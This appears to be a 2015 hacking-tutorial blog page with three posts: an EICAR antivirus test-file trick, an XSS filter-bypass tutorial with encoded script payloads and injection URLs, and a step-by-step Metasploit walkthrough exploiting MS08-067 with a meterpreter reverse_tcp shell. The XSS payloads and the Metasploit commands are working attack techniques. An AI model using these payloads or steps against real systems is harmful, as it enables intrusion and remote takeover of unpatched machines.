Tuesday, 6 October 2015

On 23:28 by Himanshu Joshi in ,    No comments
image
Every geek wants to pretend that they are a dangerous hacker with the ability to take down any PC, and after you read this article, you can do show off your skills with nothing more than Notepad.
Of course, we’re not making an actual virus—it’s a fake virus. In fact, it’s a test virus. But it’s still fun, and today’s article is sponsored by reader Erik, who wrote in and told us about it.
Create a Fake Virus with Notepad
What we’re actually doing is re-creating the same technique talked about on eicar.org’s test virus page, except we’ve got better screenshots.
Open up a Notepad window, paste in the following text, and then save it.
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
It should look exactly like this once you’ve pasted it…
image
And then you’ll almost instantly see a big fat warning that you’ve created a virus—as long as you’ve got anti-virus installed and working, of course. If you don’t see any warning, you should probably make sure your virus scanning software is properly enabled.
image
Your geek points will be wired to your WoW account, you dangerous hacker, you
On 23:21 by Himanshu Joshi in ,    No comments

Bypassing the XSS Filters : Advanced XSS Tutorials for Web application Pen Testing

Hi friends, last time, i explained what is XSS and how an attacker can inject malicious script in your site. As i promised earlier, i am writing this advanced XSS tutorial for you(still more articles will come)
.
Sometimes, website owner use XSS filters(WAF) to protect against XSS vulnerability.
For eg: if you put the <scirpt>alert(“hi”)</script> , the Filter will escape the “(quote) character , so the script will become
<SCRIPT>ALERT(>XSS DETECTED<)</SCRIPT>
Now this script won’t work. Likewise Filters use different type of filtering method to give protection against the XSS.  In this case, we can use some tricks to bypass the filter.  Here i am going to cover that only.

1.Bypassing magic_quotes_gpc

The magic_quotes_gpc=ON is a PHP setting(configured in PHP.ini File) , it escapes the every ‘ (single-quote), ” (double quote) and \  with a backslash automatically.
For Eg:
<scirpt>alert(“hi”);</script> will be filtered as <script>alert(\hi\)</script>.so the script won’t work now.
This is well known filtering method, but we can easily bypass this filter by using ASCII characters instead.
For Eg:  alert(“hi”); can be converted to
STRING.FROMCHARCODE(97, 108, 101, 114, 116, 40, 34, 104, 105, 34, 41, 59)
so the script will become <script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 104, 105, 34, 41, 59)</script>.  In this case there is no “(quotes) or ‘(single quotes) or / so the filter can’t filter this thing.  Yes, it will successfully run the script.
String.fromCharCode() is a javascript function that converts ASCII value to Characters.
How to convert to ASCII values?
There are some online sites that converts to ASCII character. But i suggest you to useHackbar Mozilla addon .
After installing hackbar add on ,press F9.  It will open the small box above the url bar. click the XSS->String.fromCharCode()
Now it will popup small window. enter the code for instance alert(“Hi”).  click ok button.  Now we got the output.
copy the code into the <script></script> inside and insert in the vulnerable sites
For eg: 
HXXP://VULNERABLE-SITE/SEARCH?Q=<SCRIPT>STRING.FROMCHARCODE(97, 108, 101, 114, 116, 40, 34, 104, 105, 34, 41, 59)</SCRIPT>

2.HEX Encoding

we can encode our whole script into HEX code so that it can’t be filtered.
For example:  <script>alert(“Hi”);</script> can be convert to HEX as:
%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%48%69%22%29%3B%3C%2F%73%63%72%69%70%74%3E
Now put the code in the vulnerable site request.
For ex:
HXXP://VULNERABLE-SITE/SEARCH?Q=%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%48%69%22%29%3B%3C%2F%73%63%72%69%70%74%3E
 Converting to HEX:
This site will convert to hex code: http://centricle.com/tools/ascii-hex/

3.Bypassing using-obfuscation

Some website admin put the script,alert in restricted word list.  so whenever you input thiskeywords, the filter will remove it and will give error message like “you are not allowed to search this”. This can bypassed by changing the case of the keywords(namely Obfuscation).
For eg:
<SCRIPT>ALERT(“HI”);</SCRIPT>
This bypass technique rarely works but giving trial is worth.

4. Closing Tag

Sometimes putting “> at the beginning of the code will work.
“><SCRIPT>ALERT(“HI”);</SCRIPT>
This will end the previous opened tag and open our script tag.
Example:
HXXP://VULNERABLE-SITE/SEARCH?Q=”><SCRIPT>ALERT(“HI”);</SCRIPT>
Conclusion:
From above article, it is clear that XSS filters alone not going to protect a site from the XSS attacks. If you really want to make your site more secure, then ask PenTesters to test your application or test yourself.
Also there are lot of different filter bypassing technique, i just covered some useful techniques for you.
Disclaimer:
This article is intended for educational purpose only.
On 23:18 by Himanshu Joshi in ,    No comments
MetaSploit Framwork : Hey Hackers! in this post of Learn Hacking we are going to tell you about the Metsploit Framework. This post is going to answer the following questions for you.

What is Metasploit

How to use the Metasploit Framework

hack-windows-xp-with-metasploit
What is Metasploit Project: The Metasploit Project is a computer security project which aims at providing information about security vulnerabilities and helps in penetration testing and Patching the exploits.
Metasploit framework is its famous sub project, a tool for developing and executing exploits against a remote machine. Apart from Metasploit Framework, Metasploit Project is well known for is anti-forensics and loopholes evading tools.
Other important sub-projects include the Opcode Database, shellcode archive, and security research.
About the Metasploit framework :
Metasploit Framework was programmed by HD Moore in 2003 as a network tool using PERL scripting language. It was reprogrammed using RUBY. You can develop and execute exploits against any target machine using this framework.
this framework comes with many inbuilt exploits and payloads.
Basic steps on How to use Metasploit Framework :
1. Searching and configuring an exploit : Searching exploit on the basis of data acquired by scanning and footprinting the target machine.(current version of Metasploit comes with around 800 exploits against different services.
2. Choosing and configuring a Payload : Payload is the code that will be executed upon the successfully entry into the target machine, for example, a remote shell.
3. Choosing the encoding technique to encode the payload so that the intrusion-prevention system (IPS) will not catch the encoded payload;
4. Executing the exploit.
The capability of combining any exploit with any framework is the best feature of Metasploit Framework.
Metasploit runs on all versions of unix and windows also. It includes two command line interface, a web browser based interface and a GUI.
Choosing exploit and payload is tricky work, you need to gather information about the target machine in order to make the eploit work. this information can be gathered using Port scanning and network scanning techniques Which will be covered in upcoming posts.
Where to get Metasploit Framework?
You can download the free version from the official Metasploit site-http://www.metasploit.com/download/
The free version also comes as a preinstalled application in all versions of Backtrack.
Have a look at the other Penetration tools by Metasploit Project :
http://www.metasploit.com/about/choose-right-edition/
Well Metasploit framwork might be a new tool to play with for some of you. Metasploit framework is pretty cool to play with and once you learn to use it the right way for Ethical Hacking, you are going to use this penetration testing tool often.
What does it exactly do?
How to secure yourself?
About Exploit :
The original name of exploit is Microsoft Server Service Relative Path Stack corruption. A remote user can send a specially crafter RPC request that triggers the overflow during path canonicalization and can execute arbitrary code on the target system.
CVE – ID : CVE-2008-4250
So lets Begin
1)      Install the latest version of Metasploit Framework on windows XP or on Backtrack.
2) Open Metasploit Console.
3) Type Show Exploits – This command will print the names and little description of all the exploits in your metasploit framework.
4) Then search for the exploit named ms08_067_netapi. The actual name differs in different version of metasploit, so u can also use search command to search this exploit.
Type Search smb exploit: this will print all SMB exploits, search for the one we want.
5) The type use windows/smb/ms08_067_netapi [USE pathoftheexploit |thiswindows/smb/ms08_067_netapi is the path of our exploit] in the console.
6) You can then type Show options, this will print all the options available for that exploit.
7) Now you need to configure your exploit to attack the target machine.
7.1) Type Set rhost victimipaddress [ Rhost refers to ip address of the victim, example :set rhost 192.168.1.22 . Here 192.168.1.22 is the address of the victim’s machine.]
7.2) Type set payload windows/meterpreter/reverse_tcp .This command will bind the payload reverse_tcp with our exploit. So what is a payload actually?
Let me clear your query!
Payload: Payload is the shellcode/assembly code/commands to be executed on the target machine once our exploit has gained access on the target machine.
Suppose your exploit is successfully executed on target machine, your payload will then tell it what to do after that!
reverse_tcp payload will open a reverse connection and will give you a metreprettersession and then you can do what ever you want.
You can also choose some different payload by typing show payloads, this command will print all the available payloads choose any and use the payload with command use payload payloadpath
7.3) set lhost yourownipaddress – Use this command to set local host address, the address on which the exploit will backconnect with. Set your own ip address here.
8) Now last step: type exploit and the exploit will execute and if the machine is not pathched, you will get a remote shell connection with the target machine and then you can then do whatever you want.
Note: You will get a remote connection in this case where payload selected is reverse_tcp. The result will vary according to the payload selected.